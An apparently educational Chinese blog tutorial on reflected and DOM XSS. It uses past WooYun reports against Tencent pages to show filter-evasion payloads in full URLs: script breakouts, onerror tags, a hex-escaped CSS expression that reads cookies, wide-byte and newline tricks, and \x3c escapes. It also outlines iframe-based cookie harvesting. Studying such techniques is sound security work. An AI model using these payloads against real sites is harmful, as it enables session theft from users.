之前積累了XSS 有一段時間,因為目前開始了一件有趣的工程,需要整合非常多的知識,其中Web 安全這一塊出現(xiàn)最多的,應(yīng)該就是XSS,SQL注入了,再加上烏云泡著看別人的文章,看各家大網(wǎng)站的漏洞,決定把這一塊知識聚攏一下,寫成一篇文章。想了想,從簡單到難,那就是一條打怪升級之路,所以就從最簡單的反射型漏洞開始,一點一點提高,直到把大部分XSS 的形式找出來。
level 1 無過濾規(guī)則的XSS
最簡單的跨站,也就是我們說的反射型跨站,也叫作非持久型,參數(shù)型跨站腳本。這種類型的腳本出現(xiàn)的面非常的廣,互聯(lián)網(wǎng)上這樣的漏洞非常多,一般出沒在各路小站點,大站點很少出現(xiàn)。烏云的漏洞列表里,海量的XSS 漏洞都來自互聯(lián)網(wǎng)上訪問量不高的小站,被辛苦挖洞的XSSer 們發(fā)掘出來的。
站在新手村我們的,需要一個最簡單的野怪刷一下,這個野怪上下無任何裝備,沒有一點防御。也就是說,這個XSS 漏洞對于用戶的輸入,不做任何過濾行為。
一般來說,XSS 存在的地方,一定是需要有輸入和輸出概念的,一般的過濾規(guī)則,也是出現(xiàn)在輸入階段或者是輸出階段,如果兩個都沒有過濾,那么很輕松的就造成了漏洞。通常來說,這種洞非常好刷,比較自動化的方式是,建立一個爬蟲系統(tǒng),預(yù)設(shè)一些URL,爬蟲爬取網(wǎng)頁,在網(wǎng)頁源碼中尋找用戶可以輸入的地方,然后在可以輸入的地方,將構(gòu)造好的XSS 代碼以輸入形式,構(gòu)造成請求,然后觀察響應(yīng),是否對我們的輸入做了過濾策略。如果是原本的返回,那么我們就說可能存在有xss漏洞。
同時,有另一種更為簡單的漏洞,是直接在URL 中,如果有直接賦值參數(shù)的行為,也相當(dāng)于一個可輸入的位置,我們直接在URL 中將XSS 代碼構(gòu)造在URL 中,觀察返回是否做了過濾處理,如果沒有,那么就是一個最簡單的野怪誕生。
在烏云中,有不少這樣的漏洞,小站很多,大站很少,因為大站一般都有完備的過濾規(guī)則,很難在這些小問題上有任何閃失,再加上如今瀏覽器基本上都有安全策略對此類型進(jìn)行防御,所以這種威力相對較小。
之前在HTTP 的文章里,有詳細(xì)講過 URL的格式,其基本格式如此:
每個結(jié)構(gòu)對應(yīng)的含義如下:
通常的注入發(fā)生在query 這一塊,而一般一個安全的行為,就是對query 中的字符進(jìn)行過濾,以防止xss。以百度的URL 為例,一個通常的URL 查詢之后的造型是下面這樣的:
問號之后有一大堆參數(shù),&用來分割參數(shù),他們對應(yīng)的是什么意思不是本文關(guān)注的重點,可以參見這一篇文章百度搜索URL 參數(shù)解析。
其中wd 就是我們所說的搜索關(guān)鍵詞,也就是我們的輸入,如果我們將此字符改成
<script>alert(/xss/)</script>
在輸出時我們看到,URL 變成了如下,可疑的部分被轉(zhuǎn)義了。
https://www.baidu.com/s?wd=%22%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&rsv_spt=1&rsv_iqid=0xb3f5d3380002c15f&issp=1&f=3&rsv_bp=1&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=1&oq=%26lt%3Bscript%26gt%3Balert(%26%2339%3Bxss%26%2339%3B)%26lt%3B%2Fscript%26gt%3B&rsv_t=455e8xS9GVGwfM%2BTxjkNH6uUohEOPZHQFWlqocmOh9s1caJr5IHzVrPJJKJ1OwdTglc3&inputT=5478&rsv_sug3=27&rsv_sug1=21&rsv_sug7=100&rsv_pq=cce2beda0002a800&rsv_sug2=0&rsv_sug4=6278
在這里舉一個大站騰訊的簡單的xss,是烏云上某馬甲提交的,作為一個最簡單的XSS 挖給大家學(xué)習(xí)。網(wǎng)站的網(wǎng)址是這樣的:
http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=1&func=haoping&_=1353475261886
如果我們在這個URL 里嘗試修改參數(shù),將score 參數(shù)改成
<img src=1>
而輸出的源碼并沒有發(fā)生變化:
在網(wǎng)易中看到的結(jié)果就變成了這樣:
這很顯然,就是一個xss漏洞了,將經(jīng)典的xss 代碼插入進(jìn)去即可:
score=<img src=1 onerror=alert(1);>
效果如下:
這就是一個最無防御的XSS 存在,很明顯的,它簡單,暴力,當(dāng)然也是極容易防御的,所以在一個較高級的攻防對抗,或者是大站漏洞中,基本上不會出現(xiàn)這樣的漏洞(然而騰訊還是有這樣的問題~~)。
level 2 包裝進(jìn)script
上一等級里,我們的xss 構(gòu)造格式是在img 中,然后直接通過URL 參數(shù)提交,通常反射型的XSS 比較廣泛,但是傷害一般來說沒有太高,而且比較容易防范。除了img 元素,還有諸如input, iframe,a href, 主要利用的是href 或者 src 可以使用javascript, 或者是使用onerror,表示當(dāng)前圖片無法顯示時候可以調(diào)用的腳本。更多的內(nèi)容,接下來詳析。
接下來,我們針對的還是反射型的XSS,仍然是在參數(shù)中,作為目標(biāo)文件中的參數(shù),通過URL 傳遞給它,但是沒有對該參數(shù)進(jìn)行詳細(xì)的過濾,造成了有機(jī)可趁,繼續(xù)放出騰訊家以前的一個例子,也是烏云上的,網(wǎng)址如下:
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa
此處的callback 參數(shù),如果沒有過濾的話,得到的網(wǎng)頁源碼里,我們就會看出來,如下:
拿出這一塊的上下文代碼,大約構(gòu)造是這樣的:
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaa(_ret);}catch(err){aaaaaa(_ret);}</script>
aaaaaa如果我們替換成
<script>alert(/xss/)</script>
當(dāng)然,我們注意到,上邊的script 還沒有閉合,為了讓代碼提前跳出前一個script ,我們應(yīng)該在前邊吧sciprt 閉合,這樣:
</script><script>alert(/xss/)</script>
這樣,很明顯,就會繼續(xù)發(fā)起了XSS 彈窗。但是,如果我們不允許輸入破折號呢,上邊所說的就沒有辦法了,但是,這并不代表毫無辦法,還有一些具有威脅的函數(shù),比如eval, String.fromCharCode, execute,這些都會造成XSS,也要過濾。如下,我們使用eval() 來構(gòu)造攻擊:
http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void
callback=eval('alert(1)');void 仍然令我們的源代碼語法正確,能夠正確執(zhí)行。
但是像這樣構(gòu)造出來的情況,其實非常的少見,因為正常傳第一個參數(shù)進(jìn)去,開發(fā)者都會將 " 過濾掉,這樣構(gòu)造就失敗了。
我們知道,XSSer 和 防御者之間的斗爭從來就是道高一尺,魔高一丈的過程,防御者絞盡腦汁去過濾所有可能出現(xiàn)的情況,去處理所有可能的奇葩詭異編碼情況,而XSSer 又會絞盡腦汁的去挖掘茫茫網(wǎng)絡(luò)中漏洞,努力用各種奇技淫巧構(gòu)造出五花八門的形態(tài),看起來詭異無比,然而偏偏又能讓javascript 語法正確,正常運(yùn)行。
然而xss 卻又一直是熱門,但并不是很受重視的攻擊手法,原因大概是這樣的:
- 挖洞太麻煩,很耗時間,看上邊兩個漏洞,其中一個甚至是在某個獲取QQ 應(yīng)用寶上某個app 數(shù)據(jù)的URL 里發(fā)現(xiàn)的,而這種頁面甚至很難被發(fā)現(xiàn),所以他的傷害比較低,找到它卻又要花費(fèi)大量時間,而且還有很多構(gòu)造方法不能成功,需要嘗試各種模式。
- 這種傷害不是很大的反射型攻擊,尚且還有機(jī)會通過爬蟲自動化的挖掘到漏洞存在的可能,有很多復(fù)雜的存儲型和DOM 型漏洞,更難通過爬蟲挖到。
- 需要有良好的HTML,JS 功底,但是呢,如果功底好的話,直接就跑去做前端了,前端業(yè)務(wù)現(xiàn)在那么缺高級工程師。更多的,還需要有PHP,JSP 功底。
- 而Website 設(shè)置http-only,crossdomain.xml 時候,很多模式化的xss就失去力量了。
- 然而為什么熱門呢,因為HTTP 世界的混亂,之前在寫Web之困讀書筆記的時候,作者也是強(qiáng)力吐槽了這個混亂的HTTP 世界,所以造成了XSS 幾乎無處不在,而如果一個利用好的XSS,或者CSRF漏洞,會在某些情況下,造成難以彌補(bǔ)的傷害。
- 本質(zhì)上將,SQL注入和XSS 都是由于代碼上相似的漏洞造成的,而SQL 注入的危害要比XSS 看起來危險很多,很多人在挖SQL 注入漏洞的時候,順手就挖幾個XSS,也是很正常的。
- XSS 雖然看起來比較溫柔,但是配上社工手段,可造成的影響仍然是不可小覷的,所以XSS 會火下去。
level 3 HTML 中的野怪
當(dāng)然XSS 的漏洞不僅僅只出現(xiàn)在script 代碼塊中,還可以包含在豐富的HTML 的標(biāo)簽屬性中。比如img,input 等一系列標(biāo)簽,基本格式是 < HTML標(biāo)簽 onXXXX="在這里" > 或者是放在偽URL 里,比如< a href = "javascript:在這里"> xxxx </a>。
一般這樣地方的參數(shù),很少是直接通過輸入就直接放進(jìn)去的,不過有時候常常是接受了用戶的輸入,最后輸出的時候,會出現(xiàn)在這些位置,但如果對用戶的輸入沒有做詳盡的處理和過濾的話,就會出現(xiàn)明顯的XSS 漏洞。來個栗子:
比如某網(wǎng)站是這樣的:
http://example.com/search.php?word=helloworld
對應(yīng)在HTML 代碼中,他出現(xiàn)在了這樣的區(qū)域里:
<input type="text" value="helloworld" />
開發(fā)者沒有對helloworld進(jìn)行過濾的話,我們直接構(gòu)造
word=helloworld" onclick="alert(/xss/)
然后在對引號括號等,使用URL 編碼,直接變成如下結(jié)構(gòu):
helloworld%22+onclick%3d%22alert(%2fxss%2f)
也就完成了xss過程,不過這種漏洞現(xiàn)在已經(jīng)非常稀少,因為它太容易過濾了,只需要將雙引號過濾即可,一般做法就是將雙引號過濾成HTML 實體編碼,也就是&#quot; 對于HTML 解析器,它能夠識別在文本節(jié)點和參數(shù)值里邊的實體編碼,并且在內(nèi)存中創(chuàng)建文檔樹的表現(xiàn)形式時,透明的對這些編碼進(jìn)行解碼。所以,在創(chuàng)建DOM 樹結(jié)構(gòu)的時候,"(有個分號,但是markdown會直接轉(zhuǎn)了); 還沒有被解碼成引號,而且創(chuàng)建文檔樹的內(nèi)容的時,才會考慮解碼,而這時,其XSS 功效已經(jīng)不能發(fā)揮作用了。
于是,對于有過濾規(guī)則的情況下,該標(biāo)簽將變成:
<input type="text" value="helloworld" onclick="alert(1)" />
但是,僅僅是這樣的過濾,顯然是不夠用的,還有其他的注入點可以進(jìn),繼續(xù)在烏云上來看騰訊的例子,考慮這樣一個網(wǎng)址:
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=FFFFFF&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx
我們查看輸出的HTML 源碼,發(fā)現(xiàn)bg 那里對應(yīng)的是background-color,我們嘗試那里用不同的字符嘗試,觀察其過濾情況。在這里,我讓bg = "<>() 就是希望觀察一下它的過濾情況,基本上所有的字符都被過濾了,但是只有\(zhòng) 沒有被過濾
如何只用 \ 構(gòu)造利用語句呢,我們可以想到CSS 中的字符編碼,CSS 提供了一套轉(zhuǎn)義處理策略,一個反斜杠后邊跟1~6位十六進(jìn)制數(shù)字。然后利用CSS 的expression 來調(diào)用JavaScript 代碼。也就是試圖構(gòu)造出
expression(eval(alert(/xss/))
這樣的代碼,完整來說,就是這樣的:
<body style="... background-color:;width:expression(eval(alert(/xss/)))">
用分號來結(jié)束backgroud-color,然后 w: 后邊跟上expression,如果expression 要被過濾,那就加上轉(zhuǎn)義,把expression 隨意變下形就可以,于是,在下邊這樣的代碼構(gòu)造下,漏洞又被利用了。
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx
不過很遺憾的,expression 當(dāng)年是微軟搞出來的技術(shù),但是一直沒被其他瀏覽器接受,同時,甚至微軟自己如今也拋棄了這種特性,它出現(xiàn)在IE6,IE7,和IE8的一些早期版本,因為微軟官方也認(rèn)為該屬性不具有通用性,而且它處理的事務(wù),如今已經(jīng)能夠在CSS 中正常的完成,如min-width,max-width, 這些都已經(jīng)在IE8之后得到很好的支持,所以expression 也只能在這兩個古老版本上起效。
那么,繼續(xù)考慮一些別的情況,考慮下面這個網(wǎng)站:
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa
其輸出的HTML 代碼中,我們可以找到它:
對于放在javascript: 中的偽URL,其效果和放在script 代碼塊中沒有區(qū)別。在這里 aaaaaa我們可以考慮對其做點什么,很自然的,我們想到用單引號閉合,然后后邊加上alert(/xss/) 這樣的構(gòu)造,看起來比較繞,其構(gòu)造步驟是這樣的:
location.href='...&searchvalue=aaaaaa'
location.href='...&searchvalue=aaaa'+alert(1)+''
location.href='...&searchvalue=aaaa'+alert(1)+''
如果單引號,被過濾,就要改成HTML 編碼,這樣,就能在源代碼中javascript 偽URL那里添加了alert(1) 這樣的XSS。這步驟改造完畢之后,我們將可能被過濾的&-> %26,#->%23 轉(zhuǎn)換成URL 編碼,構(gòu)造成這樣的URL:
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;
至此,又完成了一次XSS 注入,但到此處,是否有一個疑問呢,還是關(guān)于編碼解析的問題。在上一個栗子中,我們說,將雙引號,改成" ; 這樣的形式,就不會出現(xiàn)異常的解析了,但是這里,我們主動的將單引號改成了 ; 這樣的形式,反而成功的完成了XSS 呢。
其實,這是一個解析順序的原因,正常的解析順序是這樣的,先對URL解碼,那些用URL 編碼的字符都變成解碼后的參數(shù)傳出去,然后是HTML 解析,HTML 解析,此時 ,是先構(gòu)建DOM文檔結(jié)構(gòu),然后才會對每一個文本節(jié)點,屬性值內(nèi)容進(jìn)行解析,這時候,HTML 實體編碼的部分,才會還原回來,這個時候已經(jīng)不會對DOM 結(jié)構(gòu)造成影響了。然后是JS 解析,此時才會執(zhí)行JS 代碼的內(nèi)容。而此時,HTML 已經(jīng)完成了解碼。
對應(yīng)上邊的栗子,在JS 解析之前,HTML 已經(jīng)對那些編碼完成了解碼,對于JS 來說,一切都寫的清清楚楚的了。
回到那個栗子,我們利用的代碼,原樣是這樣的:
<li><input type="text" id="pagenum" class="inputstyle0814" onkeydown="if ((event.keyCode==13) && (this.value!='')) location./></li>
當(dāng)我們構(gòu)造完成利用代碼之后,對于頁面上來說,就是要點擊按鈕,也就是onkeydown。 不僅要將URL 傳出去,還需要用戶點擊按鈕,這樣造成的威脅小很多,不如img 標(biāo)簽里的onerror ,onload那樣可以自動觸發(fā)。
最后我們再考慮一下如何防守吧,上上栗子的問題,在于漏掉了斜杠的過濾,那么\ 該過濾還是要過濾的。對于上邊這個栗子,可以考慮二次過濾,也就是將&都過濾為 & ;,這樣不僅過濾了無編碼的單引號等格式,又可以過濾掉利用實體編碼想要逃過的實體編碼格式。而如果只是用正則去片段&#xNN..等形式,實際上是不一定搞定所有的HTML 編碼形式的。
level 4 離奇的寬字節(jié)
搞過SQL 注入的,應(yīng)該是比較了解寬字節(jié)注入的,由于某些SQL 注入的核心是提前出線單引號來閉合前邊的輸入,然后在后邊可以插入別的語句,聯(lián)合查詢等等。所以比較一般的過濾方式是將單引號轉(zhuǎn)義,加一個斜杠。但此時忽略了編碼的神奇。如果開發(fā)者在設(shè)置編碼支持的時候,如果選擇了GBK,gb18030,utf-8 等方式,實際上是支持十六位編碼的。
最常見的方式,也就是在url里,在引號%27 或者是 %22 之前,加入%df, 由于0xdf 對應(yīng)的大于128,所以,解析器會認(rèn)為他和后邊的組成了16位的編碼,就會吃掉后邊的字符,而后邊跟著的字符,又恰恰是我們給引號添加的斜杠,%5c,于是%df 就會吃掉%5c 合并成一個字,引號重新暴露。
這種方法在XSS 不常見,但是如果某些XSS 在寫過濾規(guī)則的時候,如果處理不當(dāng),還是有可能出現(xiàn)寬字節(jié)注入的情況,考慮如下url:
http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%22;alert(1);//aaaaaa
此處雙引號被過濾了,變成了" ;,如下:
如果我們嘗試一下采用寬字節(jié)注入,考慮構(gòu)造成如圖所示:
zh_CN&t=%c0%22;alert(1);
令人驚奇的是,這次注入成功了,觀察代碼如圖:
當(dāng)然,此處所遇到的問題,應(yīng)該并不是前邊提到的傳統(tǒng)的形式,%c0 吃掉%5c ,因為很明顯,此處沒有使用斜杠轉(zhuǎn)義,而是轉(zhuǎn)成了" ; 只能把原因歸咎于正則表達(dá)式處理的問題。
我們看到,即使當(dāng)以注意到了問題所在的時候,仍然可能犯錯誤,而且是以意想不到的方式犯錯,黑客滲透的方式,可能會以所有意想不到的形式進(jìn)行。
我們將防御性代碼比做成安全的城墻,那么正則過濾引擎,應(yīng)該是這座安全長城的第一站,而在《Web 之困》 一書中,作者也說過,要想試圖過濾掉所有的危險的編碼,這幾乎是不可能完成的任務(wù)。但作為開發(fā)者,比黑客再多想一些,這是應(yīng)該的。
在XSS 界,擁有各種各樣的形式去變形構(gòu)造,在owasp 里,這篇XSS Filter Evasion Cheat Sheet 詳細(xì)介紹了各種變形,以期能窮盡目前已知的各種變形手段,下次,我會對其中的變性手段,進(jìn)行總結(jié)。但是,你想要過濾這所有的變形手段,幾乎是不可能的,即使你過濾了他們,而引擎本身出現(xiàn)的錯誤,又會創(chuàng)造新的漏洞,上述例子就是這樣的。
被忽略的反斜線
通常,過濾XSS 就是要考慮過濾各種特殊的控制字符,比如尖括號,引號等,而如果過濾一旦漏過了某些符號,那就有可能通過各種轉(zhuǎn)義,構(gòu)造出一個繞過的XSS,下面就是一個例子。
雜亂無章,我們對照網(wǎng)頁的源碼,逐個嘗試看能夠注入,首先是先定位這些變量對應(yīng)的位置,主要關(guān)注的還是前三個,vt=pass, ss=aaa, form=bbb, 構(gòu)造完成之后我們在源碼中尋找他們的位置如圖:
定位到位置之后,我們把這一堆能使用的符號都拉進(jìn)去嘗試,包括引號,破折號,反斜杠等,這里如果能直接利用,最好是有雙引號,它可以直接閉合前邊的語法,從而構(gòu)造新的語法,但是,很遺憾雙引號這種頭號仇恨還是第一時間被過濾了,但是漏過了反斜杠。
我們詳細(xì)分析一下這一部分,考慮一下,看怎么注入:
<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"®alias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"¶m="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>
核心部分,就是下邊那小部分:
<script>getTop().location.href="......"+"&ss=aaa"+"&from=bbb"+"¶m="+".....";</script>
如果我們使用了反斜杠,那么雙引號就被轉(zhuǎn)義了,語法就變化了:
<script>getTop().location.href="......"+ "&ss=aaa\"+" &from=bbb "+" ¶m= "+" .....";</script>
有一點點機(jī)會突破,但是后邊的語法就太奇怪了,有語法錯誤了。腫么辦,我們在試試正斜杠,發(fā)現(xiàn)也沒有被屏蔽,perfect,我們用正斜杠來講后邊直接注釋掉,讓語法正常。
location.href="........."+"&ss=aaaa\"+"&from=1//"+"¶m=";
但是還有一個問題,& 在這里,被考慮成了一個與操作,優(yōu)先級是高于 =號的,變成了("字符串"&from)=1 的語法,這仍然是錯誤的。但是,如果我們再測試一下,= 號會不會被屏蔽呢,=號也可以用,那么我們改變一下語法,添加一個等號,變成 ==:
location.href="........."+"&ss=aaaa\"+"&from==1//"+"¶m=";
于是語法編程了("string")&(from==1)的樣式,from 變成了一個bool操作,但現(xiàn)在又面臨了新的問題,如果你在URL 里本來該是一個定義的操作,卻變成了一個判斷的操作,from 就變成了未定義的狀態(tài)了,語法仍然會報錯,這我們就要進(jìn)一步理解JavaScript的語法了,如果我們把from 當(dāng)做一個變量或者是方法,如果是方法,無論在何處定義,都會被拉到最簡便,所以我們在from 的部分再添加一個步驟:
location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"¶m=";
這樣,from 就不會被當(dāng)成是未定義的了,但問題又來了,我們現(xiàn)在添加了許多東西,而添加的這些東西,包含了許多特殊字符,會不會通過呢,經(jīng)過實際測試,還真是悲劇了,空格符被轉(zhuǎn)義了:
空格符被轉(zhuǎn)義了怎么辦呢,我們找到新的替換品,那就是/**/, 這是一個注釋符,之前我們也測試過了,斜杠不會被過濾,那么這個注釋符,成功的頂替了空格,形成了正常的語法。
location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"¶m=";
從語法上看,這樣就OK 了,我們的攻擊代碼可以放function 的前邊,直接用alert(/xss/);測試,最終代碼:
http://mail.qq.com/cgi-bin/login?vt=passport&ss=&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1
結(jié)果毫無疑問彈了窗。
那么回到源頭去搜索整個注入的過程,我們發(fā)現(xiàn),注入的過程,頗有幾分SQL 的風(fēng)采,都是利用各種語法上的技巧,在我們的SQL注入中,一些常見的技巧,比如基于重言式,這和XSS 的試圖閉合語法相似,比如聯(lián)合查詢法,試圖借助未轉(zhuǎn)義的字符,來完成注入。
這個漏洞的挖掘過程,就是從一個狹小的入口進(jìn)入,借助了字符過濾不完整的漏洞,挖開了深層的內(nèi)容。所以,在實際編程開發(fā)中,對特殊字符的控制,是需要慎之又慎的,一旦有一個小小的漏洞,就會被隨時攻破。
換行符的偷襲
上一次是反斜杠發(fā)揮的妙用,它默默地轉(zhuǎn)義了一個雙引號,還有一些其他有意思的符號,比如換行符也能發(fā)揮妙用,這次是來自換行符的一發(fā)偷襲。
看這樣一個地址:
http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=aaaaaaaaaa
逐個測試注入點,我們發(fā)現(xiàn)最后的FilterValueAND 的輸入點在源碼中找到了輸出點:
它出現(xiàn)在JS 語句里,一上來就感覺有戲。接下來嘗試寫入特殊字符,測試過濾情況。正常的情況下,尖括號,雙引號:
但是令人奇怪的是,最后一個輸出點竟然是在一大段注釋里,這應(yīng)該是開發(fā)的一個失誤:
看到注釋想到了什么呢?如果這里插進(jìn)來一個換行符,那么應(yīng)該被注釋的部分就不是注釋了。那后邊再跟注入語句,就能夠執(zhí)行了。然后我們在用一個雙斜杠來注釋后邊的無用部分。利用代碼如下:
http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=%0aalert(/xss/);//
直接就彈窗了。
這一次利用的太過簡單,看起來應(yīng)該是開發(fā)的一時疏忽,將一大段內(nèi)容注釋了,而注釋里原本好包含了輸出,那就有可能出問題了。
看一下源碼,先測試雙引號,妥妥的被過濾,HTML標(biāo)簽里的東西沒希望了。往后邊看,第二個又出現(xiàn)在了注釋里,看來開發(fā)還是很希望遺留這些漏洞的,我們直接用一個換行符。
但問題是注釋那里被注釋掉了,但是接下來的var searchOrder="....";這一句就麻煩了。
//document.getElementById("order_select").value="aaa
alert(/xss/); //";
var searchOrder="aaa
alert(1);//";
第一個是OK 了,第二個語法錯誤了。那么又想到什么了呢,在JavaScript 語法里,一個反斜杠可以讓語法讓換行的內(nèi)容接起來,形成多行寫法。
var sarchOrder="aaa\
alert(/xss/);//";
于是,語法上又恢復(fù)了正常,而這一部分內(nèi)容我們不用管它,只要上一個有效就可以了。但問題是,反斜杠被過濾了,過濾的方法是被轉(zhuǎn)義了。
兩個反斜杠就沒法讓JavaScript成立了,怎么辦呢?記得之前采用的寬字符的戰(zhàn)術(shù),看一眼網(wǎng)頁的編碼格式,gb2312,說明寬字節(jié)是有效的。那我們就用128以上的字符,去吃掉一個反斜杠:
從結(jié)果上看,%c0吃掉了一個%5c,留下了一個反斜杠。
語法完全ok, 于是彈窗。
至此,這種反射型的XSS 基本上就這么些內(nèi)容了。想要挖XSS 的洞,非常的耗費(fèi)功夫,因為即使是沒有安全編碼嘗試的開發(fā)者,也基本知道一些必須過濾的字符一定要過濾,另外在PHP 這些語言中,也有專門的函數(shù)諸如魔術(shù)引號來過濾處理。
不過學(xué)習(xí)這種XSS 類型,將擴(kuò)寬思路,不僅是從注入的角度來看,能想到各種有意思的注入和XSS 利用,更重要的是從安全編碼的角度看待開發(fā),如何保證代碼的安全實際上是比效率更加重要的點。
DOM XSS
之前提到的漏洞內(nèi)容,都是反射型XSS,攻擊性一般來說比較低,即用即消,難以持久,而且一般來說,如果cookie 設(shè)置成httponly,你就不能通過document.cookie 的方式獲取cookie了,在做其他一些事情,反射型xss就顯得乏力了。不過,如果沒有設(shè)置成httponly,還是有方法獲取到海量的用戶cookie,簡單的利用方法就是在一個自己可控的站點,控制一個iframe,然后鏈接到主站可xss利用的站點,在URL 里寫好腳本,做好接受,就能源源不斷的接受來自用戶的信息了。
比如說新浪微博或者是騰訊微博存在XSS反射漏洞,我們在自己的站點中寫好利用的iframe,然后在自己的微博上寫一個吸引人的標(biāo)題,然后附一個經(jīng)過短鏈接轉(zhuǎn)義過得鏈接。如果別人點進(jìn)去,就會自動觸發(fā)我們的XSS 腳本。以前Twitter 上也有這樣的漏洞,短時間讓黑客的粉絲暴漲百萬,實際上只是自動執(zhí)行了關(guān)注黑客的腳本。
下面我們進(jìn)入下一個XSS類型,DOM XSS。所謂DOM 操作,就是利用JavaScript 的DOM 操作來進(jìn)行利用。關(guān)于DOM樹,DOM操作的基礎(chǔ),可以參見wikipedia ,可以查看更多信息。
DOM 常見的方法有:
- 獲取節(jié)點
- getElementsById()
- getElementsByTagName()
- getElementsByClassName()
- 新增結(jié)點
- document.createElement() 創(chuàng)建節(jié)點對象,參數(shù)是字符串也就是html標(biāo)簽
- createTextNode 創(chuàng)建文本節(jié)點,配合上一個使用
- appendChild(element) 把新的結(jié)點添加到指定節(jié)點下,參數(shù)是一個節(jié)點對象
- insertChild() 在指定結(jié)點錢插入新的節(jié)點
- 修改節(jié)點
- replaceChild() 節(jié)點交換
- setAttribute() 設(shè)置屬性
- 刪除節(jié)點
- removeChild(element) 刪除節(jié)點,要先獲得父節(jié)點然后再刪除子節(jié)點
- 一些屬性
- innerHTML 節(jié)點內(nèi)容,可以獲取或者設(shè)置
- parentNode 當(dāng)前節(jié)點的父節(jié)點
- childNode 子節(jié)點
- attributes 節(jié)點屬性
- style 修改樣式
下面我們回到XSS 上,如何利用一個顯式的DOM XSS。
我們在代碼中尋找其輸出:
發(fā)現(xiàn)了很多個,將其代碼格式化之后如下,我們會實際上,被執(zhí)行的只有一個:
<strong id="titleshow">按職業(yè)1檢索:aaaaaaa </strong></div>
<script>
if("aaaaaaa"=="")
document.getElementById("titleshow").innerHTML="按地區(qū)檢索:全部明星";
if("職業(yè)1"=="職業(yè)1")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:aaaaaaa";
if("職業(yè)1"=="職業(yè)2")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:aaaaaaa";
if("職業(yè)1"=="職業(yè)3")
document.getElementById("titleshow").innerHTML="按職業(yè)檢索:aaaaaaa";
</script>
我們先測試幾個特殊字符,發(fā)現(xiàn)尖括號被過濾了,但是\ 沒有被過濾,而這里又是JS 代碼,我們可以十三月Unicode 編碼來代替尖括號,仍然可以實現(xiàn)代碼利用。\u003c \003e 分別代表尖括號,\0020 代表空格。 而這里其實有一個比較關(guān)鍵的知識點,為什么有時候轉(zhuǎn)義可以,有時候轉(zhuǎn)義不行,編碼解碼的順序到底是怎樣的,具體可以看下一條文章。
所以,我們構(gòu)造的完整URL 如下:
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e&attr=133&stype=2&tname=star_second.shtml
但是,左右尖括號的Unicode表示已經(jīng)被過濾:
但仔細(xì)觀察一下,我們發(fā)現(xiàn),\u0020 都沒有被轉(zhuǎn)義,說明開發(fā)者的轉(zhuǎn)義是非常局限的,指哪打哪,很有可能有別的方法可以利用。而Unicode 編碼也有多種書寫方式,比如 \x3c \x3e 就可以代表左右尖括號。那么我們值得一試:
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e&attr=133&stype=2&tname=star_second.shtml
令人驚奇的是竟然沒有轉(zhuǎn)義:
這樣,彈窗就是必然的了。
這是一次簡單的DOM XSS 過程,后邊會有更加復(fù)雜的XSS等待挖掘。
DOM XSS
